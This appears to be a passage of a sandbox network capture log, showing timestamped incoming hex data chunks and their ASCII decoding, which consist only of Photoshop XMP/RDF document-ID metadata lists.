43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 34 42 31 34 34 36 41 31 39 43 32 44 42 46 45 37 30 
45 36 41 35 30 33 42 42 39 45 34 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 34 42 36 41 35 31 4
5 43 43 30 33 33 44 41 43 45 34 30 42 45 34 45 32 46 38 38 38 44 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 44 44 35 38 35 44 46 44 45 35 38 39 43 35 36 46 39 42 42 42 45 35 42 44 38 32 44 34 34 35 43 35 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 37 34 30 42 38 38 30 32 
Data Ascii: BC99EF544D3CC9F41501EE12A76</rdf:li> <rdf:li>DD499C130376A3D1882C3539FCEC4EC9</rdf:li> <
rdf:li>DD4B1446A19C2DBFE70E6A503BB9E45B</rdf:li> <rdf:li>DD4B6A51ECC033DACE40BE4E2F888D13</rdf:li> <
rdf:li>DD585DFDE589C56F9BBBE5BD82D445C5</rdf:li> <rdf:li>DD740B8802

2022-06-08 07:56:16 UTC 3865 IN Data Raw: 42 44 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 42 37 41 45 33 38 33 43 31 41 34 33 
43 35 30 35 38 44 36 32 46 44 45 34 36 41 31 34 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 42 
38 39 37 45 32 39 43 39 33 34 36 38 36 46 46 44 45 45 45 38 39 44 32 38 43 44 35 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 45 32 43 35 30 46 36 39 31 41 30 30 34 44 38 44 38 42 44 31 39 30 34 39 44 42 42 32 39 44 33 
43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 43 35 42 32 36 42 41 32 45 43 34 38 45 38 39 33 38 42 
41 39 37 33 35 36 46 44 39 31 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 44 36 41 34 34 42 33 
39 39 44 33 45 31 45 43 42 46 37 41 43 32 37 34 36 41 37 41 46 42 31 3c 
Data Ascii: BDD3</rdf:li> <rdf:li>E2B7AE383C1A43C5058D62FDE46A143E</rdf:li> <rdf:li>E2B897E29C934686
FFDEEE89D28CD561</rdf:li> <rdf:li>E2C50F691A004D8D8BD19049DBB29D3C</rdf:li> <rdf:li>E2C5B26BA2EC48E8
938BA97356FD9167</rdf:li> <rdf:li>E2D6A44B399D3E1ECBF7AC2746A7AFB1<

2022-06-08 07:56:16 UTC 3881 IN Data Raw: 32 41 33 37 39 33 30 41 36 36 33 31 41 30 31 37 30 38 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 45 44 33 46 42 30 30 46 45 32 35 30 45 31 30 30 39 38 34 33 42 35 34 43 46 43 30 34 45 33 45 32 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 44 34 39 38 43 37 46 42 36 31 31 30 37 45 41 42 45 45 31 46 41 36 31 42 46 
41 39 34 34 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 44 35 35 45 36 32 45 41 30 34 43 46 39 43 3
9 43 46 35 34 43 46 34 41 42 36 33 30 44 36 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 44 36 30 31 
39 42 36 41 31 43 46 39 46 45 38 33 45 35 42 30 35 43 41 34 32 34 37 37 41 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 45 44 36 41 44 32 38 37 38 30 34 30 32 35 36 30 39 
Data Ascii: 2A37930A6631A01708B5</rdf:li> <rdf:li>ED3FB00FE250E1009843B54CFC04E3E2</rdf:li> <rdf:li>
ED498C7FB61107EABEE1FA61BFA9441D</rdf:li> <rdf:li>ED55E62EA04CF9C9CF54CF4AB630D625</rdf:li> <rdf:li>
ED6019B6A1CF9FE83E5B05CA42477A60</rdf:li> <rdf:li>ED6AD287804025609

2022-06-08 07:56:16 UTC 3897 IN Data Raw: 3a 6c 69 3e 46 37 42 32 42 31 36 44 34 42 46 32 32 36 33 32 37 46 41 42 34 33 38 36 38 34 33 31 36 31 37 
37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 37 44 32 44 38 45 33 38 43 31 43 39 38 34 46 45 42 30 30 
38 42 44 45 32 39 32 31 39 32 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 37 44 33 41 41 33 43 39 4
2 42 38 31 34 37 32 43 33 38 45 38 33 44 39 45 36 33 35 35 36 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 46 37 44 36 30 46 43 30 33 35 33 45 30 41 37 37 35 46 32 41 37 46 43 44 41 31 31 35 30 35 38 36 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 37 44 42 30 33 34 37 39 34 30 31 43 46 33 31 35 38 32 35 31 42 44 43 41 36 46 
38 35 41 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 
Data Ascii: :li>F7B2B16D4BF226327FAB438684316177</rdf:li> <rdf:li>F7D2D8E38C1C984FEB008BDE29219205</
rdf:li> <rdf:li>F7D3AA3C9BB81472C38E83D9E63556C4</rdf:li> <rdf:li>F7D60FC0353E0A775F2A7FCDA1150586</
rdf:li> <rdf:li>F7DB03479401CF3158251BDCA6F85AA2</rdf:li> <rdf:li>F

2022-06-08 07:56:16 UTC 3977 IN Data Raw: 69 3e 46 44 33 46 42 42 41 32 31 31 38 36 41 43 38 42 35 42 42 35 41 46 32 34 39 46 36 30 37 41 38 43 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 44 34 38 44 42 44 31 36 33 42 45 39 34 46 45 41 34 32 38 39 43 33 
42 39 38 42 34 30 41 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 44 36 36 44 43 31 33 46 38 36 30 
31 39 43 39 45 30 39 36 35 38 32 44 45 42 37 34 33 35 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 4
4 37 30 33 32 35 33 44 34 32 34 43 35 32 31 43 30 41 34 43 42 32 42 30 32 44 41 44 33 41 32 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 46 44 37 35 41 32 45 39 41 42 35 45 43 33 44 30 33 45 45 45 30 44 41 37 34 37 32 42 42 
39 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 44 38 
Data Ascii: i>FD3FBBA21186AC8B5BB5AF249F607A8C</rdf:li> <rdf:li>FD48DBD163BE94FEA4289C3B98B40AE7</rd
f:li> <rdf:li>FD66DC13F86019C9E096582DEB74352E</rdf:li> <rdf:li>FD703253D424C521C0A4CB2B02DAD3A2</rdf:li> 
<rdf:li>FD75A2E9AB5EC3D03EEE0DA7472BB9AD</rdf:li> <rdf:li>FD8
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2022-06-08 07:56:16 UTC 4072 IN Data Raw: 30 34 34 2d 38 65 61 65 2d 32 65 31 31 33 31 66 36 36 39 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 35 63 65 35 30 30 61 2d 62 30 64 34 2d 31 
31 64 62 2d 61 64 61 62 2d 38 38 34 39 65 30 38 34 36 62 62 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 36 34 61 31 38 62 32 2d 62 61 63 31 2d 31 31 64 62 
2d 38 38 38 35 2d 66 36 62 38 34 39 31 32 63 64 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 
62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 36 36 66 63 37 39 35 2d 37 64 33 36 2d 31 31 64 66 2d 62 34 
66 30 2d 38 35 64 63 30 35 63 32 39 32 31 34 3c 2f 72 64 66 3a 
Data Ascii: 044-8eae-2e1131f66946</rdf:li> <rdf:li>adobe:docid:photoshop:25ce500a-b0d4-11db-adab-8849e0846bb6<
/rdf:li> <rdf:li>adobe:docid:photoshop:264a18b2-bac1-11db-8885-f6b84912cd61</rdf:li> <rdf:li>adobe:docid:photo
shop:266fc795-7d36-11df-b4f0-85dc05c29214</rdf:

2022-06-08 07:56:16 UTC 4136 IN Data Raw: 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 30 62 30 32 37 66 37 2d 32 31 62 35 2d 31 31 
65 36 2d 62 64 61 65 2d 63 31 61 37 31 33 33 39 31 32 64 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 
64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 30 62 63 35 66 61 33 2d 37 65 37 64 2d 37 30 34 61 2d 
39 63 32 66 2d 32 63 62 36 63 64 33 34 33 63 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 
65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 30 66 62 36 37 38 61 2d 65 35 33 38 2d 31 31 65 37 2d 62 32 64 
39 2d 62 34 63 63 30 66 36 38 30 39 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 
63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 31 61 39 30 30 65 
Data Ascii: obe:docid:photoshop:50b027f7-21b5-11e6-bdae-c1a7133912d8</rdf:li> <rdf:li>adobe:docid:photoshop:50
bc5fa3-7e7d-704a-9c2f-2cb6cd343c83</rdf:li> <rdf:li>adobe:docid:photoshop:50fb678a-e538-11e7-b2d9-b4cc0f680963
</rdf:li> <rdf:li>adobe:docid:photoshop:51a900e

2022-06-08 07:56:16 UTC 4359 IN Data Raw: 33 62 63 32 34 39 35 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 
64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 39 62 32 65 34 64 32 2d 65 65 63 61 2d 31 31 37 37 2d 61 34 38 33 2d 63 34 66 
38 39 32 30 62 61 61 37 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 
68 6f 74 6f 73 68 6f 70 3a 36 39 62 65 37 65 32 38 2d 38 31 34 37 2d 31 31 65 37 2d 39 39 34 32 2d 63 33 35 65 62 62 
63 39 66 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 
6f 73 68 6f 70 3a 36 39 65 32 64 34 62 34 2d 30 34 33 37 2d 31 31 37 39 2d 38 66 36 66 2d 64 61 36 35 38 39 39 32 63 3
5 39 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 
Data Ascii: 3bc2495f</rdf:li> <rdf:li>adobe:docid:photoshop:69b2e4d2-eeca-1177-a483-c4f8920baa7f</rdf:li> <rdf
:li>adobe:docid:photoshop:69be7e28-8147-11e7-9942-c35ebbc9f282</rdf:li> <rdf:li>adobe:docid:photoshop:69e2d4b4-
0437-1179-8f6f-da658992c59f</rdf:li> <rdf:li>a

2022-06-08 07:56:16 UTC 4375 IN Data Raw: 68 6f 70 3a 39 34 30 32 30 63 31 62 2d 66 34 63 38 2d 65 31 34 66 2d 61 61 65 30 2d 38 30 38 36 31 30 30 
36 37 62 64 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 
73 68 6f 70 3a 39 34 32 31 36 32 61 35 2d 31 61 30 64 2d 31 31 64 38 2d 39 65 65 36 2d 62 30 34 39 38 36 65 32 36 33 
34 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
70 3a 39 34 33 34 36 31 32 64 2d 62 35 66 35 2d 31 31 65 37 2d 39 33 39 65 2d 64 39 65 32 64 33 38 63 63 30 32 36 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 3
4 39 35 34 32 61 30 2d 34 39 66 33 2d 31 31 37 61 2d 38 62 38 39 
Data Ascii: hop:94020c1b-f4c8-e14f-aae0-808610067bd8</rdf:li> <rdf:li>adobe:docid:photoshop:942162a5-1a0d-11d8-
9ee6-b04986e2634e</rdf:li> <rdf:li>adobe:docid:photoshop:9434612d-b5f5-11e7-939e-d9e2d38cc026</rdf:li> <rdf:l
i>adobe:docid:photoshop:949542a0-49f3-117a-8b89

2022-06-08 07:56:16 UTC 4607 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 
63 33 63 38 37 34 32 37 2d 63 38 31 34 2d 31 31 37 61 2d 39 32 35 65 2d 62 32 64 66 39 36 35 62 39 64 35 66 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 32 
32 63 64 39 36 2d 62 66 34 34 2d 31 31 65 37 2d 38 64 39 65 2d 65 61 61 39 66 39 65 66 35 36 35 31 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 33 31 37 64 
33 65 2d 35 31 34 30 2d 31 31 37 39 2d 39 32 39 30 2d 64 63 61 62 66 35 33 31 35 34 39 35 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 
Data Ascii: f:li> <rdf:li>adobe:docid:photoshop:c3c87427-c814-117a-925e-b2df965b9d5f</rdf:li> <rdf:li>adobe:do
cid:photoshop:c422cd96-bf44-11e7-8d9e-eaa9f9ef5651</rdf:li> <rdf:li>adobe:docid:photoshop:c4317d3e-5140-1179-9
290-dcabf5315495</rdf:li> <rdf:li>adobe:docid:p

2022-06-08 07:56:16 UTC 4615 IN Data Raw: 33 2d 31 31 65 30 2d 62 32 35 64 2d 61 36 63 63 66 61 36 31 32 35 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 64 33 37 62 31 65 38 2d 61 65 38 
34 2d 31 31 65 30 2d 62 62 61 64 2d 39 39 39 66 63 30 36 39 38 61 63 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 64 34 38 35 63 31 30 2d 34 37 30 31 2d 31 
31 64 61 2d 39 64 39 34 2d 39 64 34 33 36 32 64 62 66 34 31 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 64 61 36 32 63 33 38 2d 63 36 61 35 2d 31 31 65 35 
2d 61 61 33 37 2d 39 65 63 65 37 31 64 31 61 36 36 37 3c 2f 72 
Data Ascii: 3-11e0-b25d-a6ccfa612564</rdf:li> <rdf:li>adobe:docid:photoshop:dd37b1e8-ae84-11e0-bbad-999fc0698a
c1</rdf:li> <rdf:li>adobe:docid:photoshop:dd485c10-4701-11da-9d94-9d4362dbf41d</rdf:li> <rdf:li>adobe:docid:ph
otoshop:dda62c38-c6a5-11e5-aa37-9ece71d1a667</r

2022-06-08 07:56:16 UTC 4639 IN Data Raw: 41 32 41 44 30 31 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 38 36 35 32 
34 32 46 42 42 35 44 44 45 31 31 42 42 38 43 42 33 33 43 44 42 44 44 36 30 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 75 75 69 64 3a 30 38 42 46 44 46 35 33 41 45 32 44 44 46 31 31 38 32 31 45 41 44 32 38 46 32 31 31 
32 34 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 38 44 37 42 34 45 45 34 46 36 37 4
4 45 31 31 42 45 39 36 39 30 45 43 30 32 38 31 35 39 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 
69 64 3a 30 39 31 36 46 38 37 31 30 42 38 39 44 45 31 31 42 33 31 44 41 41 43 31 46 31 44 39 33 33 33 33 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 39 32 38 
Data Ascii: A2AD0122</rdf:li> <rdf:li>uuid:0865242FBB5DDE11BB8CB33CDBDD6090</rdf:li> <rdf:li>uuid:08
BFDF53AE2DDF11821EAD28F2112432</rdf:li> <rdf:li>uuid:08D7B4EE4F67DE11BE9690EC028159A9</rdf:li> <rdf:
li>uuid:0916F8710B89DE11B31DAAC1F1D93333</rdf:li> <rdf:li>uuid:0928

2022-06-08 07:56:16 UTC 4655 IN Data Raw: 36 30 39 43 43 36 31 31 44 42 39 41 45 45 38 36 46 34 41 36 33 32 41 37 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 37 42 46 41 31 45 45 42 33 36 44 43 31 31 39 32 45 42 45 36 41 36 33 32 
41 41 38 46 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 41 41 30 37 33 43 39 33 
45 45 45 35 31 31 38 32 34 39 45 30 30 39 42 31 33 39 31 33 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 75 75 69 64 3a 33 46 42 30 30 34 31 36 31 30 38 30 31 31 45 32 39 34 38 41 38 37 30 30 31 33 33 46 32 32 36 39 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 30 41 41 34 38 31 44 42 37 41 42 45 31 31 31 39 
46 44 33 38 39 44 39 34 30 42 36 45 38 32 39 3c 2f 72 64 66 3a 6c 69 3e 
Data Ascii: 609CC611DB9AEE86F4A632A752</rdf:li> <rdf:li>uuid:3F7BFA1EEB36DC1192EBE6A632AA8F51</rdf:li> 
<rdf:li>uuid:3FAA073C93EEE5118249E009B1391371</rdf:li> <rdf:li>uuid:3FB00416108011E2948A8700133F2269</rdf:l
i> <rdf:li>uuid:40AA481DB7ABE1119FD389D940B6E829</rdf:li>
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2022-06-08 07:56:16 UTC 4679 IN Data Raw: 32 37 30 46 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 32 45 41 44 42 
44 42 35 30 39 45 34 31 31 38 33 36 33 44 36 35 31 41 32 33 34 34 38 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 75 75 69 64 3a 35 38 33 42 32 32 34 35 41 33 32 41 44 42 31 31 39 42 44 35 42 38 32 34 34 36 30 41 44 41 
43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 34 41 36 46 38 37 44 34 35 33 44 46 3
1 31 42 33 41 39 45 43 36 30 41 35 37 41 35 33 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 
3a 35 38 39 33 35 32 37 36 41 38 43 39 45 30 31 31 41 41 35 35 41 30 36 35 46 38 41 32 33 39 38 38 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 44 32 37 35 
Data Ascii: 270FFB</rdf:li> <rdf:li>uuid:582EADBDB509E4118363D651A2344883</rdf:li> <rdf:li>uuid:583B2245A32ADB
119BD5B824460ADAC1</rdf:li> <rdf:li>uuid:584A6F87D453DF11B3A9EC60A57A533D</rdf:li> <rdf:li>uuid:5893
5276A8C9E011AA55A065F8A23988</rdf:li> <rdf:li>uuid:58D275

2022-06-08 07:56:16 UTC 4718 IN Data Raw: 46 36 30 32 43 45 34 39 30 44 44 31 31 41 43 37 38 38 34 33 39 34 33 31 43 31 35 34 32 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 44 44 30 39 38 43 41 41 39 45 44 43 31 31 41 30 34 33 39 38 30 
35 30 30 37 36 46 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 31 34 30 46 30 
46 36 39 33 31 31 31 44 44 41 35 46 42 46 34 45 33 37 39 46 41 34 33 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 75 75 69 64 3a 38 42 31 36 43 42 33 44 32 35 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 
36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 32 31 31 36 31 42 32 42 36 36 31 31 
44 45 38 38 46 35 44 43 33 37 41 44 30 41 31 41 41 37 3c 2f 72 64 66 3a 
Data Ascii: F602CE490DD11AC788439431C1542</rdf:li> <rdf:li>uuid:8ADD098CAA9EDC11A04398050076FC83</rdf:li> 
<rdf:li>uuid:8B140F0F693111DDA5FBF4E379FA43DB</rdf:li> <rdf:li>uuid:8B16CB3D2531E0119768DE2F52112F6B</rd
f:li> <rdf:li>uuid:8B21161B2B6611DE88F5DC37AD0A1AA7</rdf:

2022-06-08 07:56:16 UTC 4750 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 41 33 42 31 45 31 38 42 41 32 44 45 31 31 42 45 44 37 43 35 
37 44 45 34 38 36 46 45 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 44 35 36 35 
38 44 41 39 41 41 31 31 45 31 42 31 45 38 39 45 31 46 30 42 30 38 42 44 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 75 75 69 64 3a 42 45 30 32 46 31 43 42 34 35 32 33 45 31 31 31 42 30 44 46 42 38 36 34 37 30 37 30 35 
30 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 45 36 30 36 36 39 38 43 31 45 44 31 
31 44 42 41 31 31 39 41 43 36 32 31 33 32 36 36 41 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 
69 64 3a 42 45 36 30 37 32 32 35 36 41 32 43 45 30 31 31 42 31 37 35 39 37 
Data Ascii: <rdf:li>uuid:BDA3B1E18BA2DE11BED7C57DE486FE49</rdf:li> <rdf:li>uuid:BDD5658DA9AA11E1B1E8
9E1F0B08BD72</rdf:li> <rdf:li>uuid:BE02F1CB4523E111B0DFB86470705002</rdf:li> <rdf:li>uuid:BE606698C1
ED11DBA119AC6213266A87</rdf:li> <rdf:li>uuid:BE6072256A2CE011B17597

2022-06-08 07:56:16 UTC 4782 IN Data Raw: 3e 75 75 69 64 3a 44 44 45 35 35 43 46 33 39 46 43 32 44 43 31 31 42 34 34 31 38 44 38 38 41 43 44 41 31 
46 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 44 46 31 39 37 34 46 32 45 33 38 44 
46 31 31 41 46 39 32 42 45 43 45 32 39 37 34 44 31 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 6
9 64 3a 44 45 31 38 36 44 45 41 38 37 36 36 45 30 31 31 42 41 45 45 38 32 33 30 33 31 31 36 46 44 32 44 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 36 38 44 38 36 39 35 39 31 42 44 44 31 31 39 39 34 37 
45 30 33 43 35 32 42 45 46 31 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 39 38 
30 41 32 31 35 41 45 36 44 45 31 31 39 30 41 45 42 41 46 36 33 33 32 46 43 
Data Ascii: >uuid:DDE55CF39FC2DC11B4418D88ACDA1F93</rdf:li> <rdf:li>uuid:DDF1974F2E38DF11AF92BECE297
4D198</rdf:li> <rdf:li>uuid:DE186DEA8766E011BAEE82303116FD2D</rdf:li> <rdf:li>uuid:DE68D869591BDD119
947E03C52BEF1B0</rdf:li> <rdf:li>uuid:DE980A215AE6DE1190AEBAF6332FC

2022-06-08 07:56:16 UTC 4814 IN Data Raw: 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 46 33 30 35 36 34 36 45 42 35 37 44 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 
30 39 46 39 34 41 31 32 33 41 43 34 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 46 41 32 39 37 41 37 41 35 39 30 34 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 38 
39 45 34 39 46 39 44 45 33 30 39 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 38 39 35 36 
Data Ascii: 1801174072068119109F305646EB57D</rdf:li> <rdf:li>xmp.did:01801174072068119109F94A123AC4F
6</rdf:li> <rdf:li>xmp.did:01801174072068119109FA297A7A5904</rdf:li> <rdf:li>xmp.did:01801174072068119189E49F9
DE3090B</rdf:li> <rdf:li>xmp.did:018011740720681192B08956

2022-06-08 07:56:16 UTC 4830 IN Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 42 42 34 46 
32 43 42 43 34 35 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 
31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 43 32 35 39 41 32 31 43 32 42 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 43 41 39 45 46 
42 39 43 35 36 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 
37 34 30 37 32 30 36 38 31 31 38 43 31 34 42 38 42 37 41 39 32 31 42 33 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 
Data Ascii: li>xmp.did:04801174072068118A6DBB4F2CBC450E</rdf:li> <rdf:li>xmp.did:04801174072068118A6
DC259A21C2BDB</rdf:li> <rdf:li>xmp.did:04801174072068118A6DCA9EFB9C560E</rdf:li> <rdf:li>xmp.did:048
01174072068118C14B8B7A921B342</rdf:li> <rdf:li>xmp.did:048011740720

2022-06-08 07:56:17 UTC 6106 IN Data Raw: 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 46 39 43 45 44 34 31 44 38 35 44 46 3c 2f 72 64 66 3a 6c 69 3e 
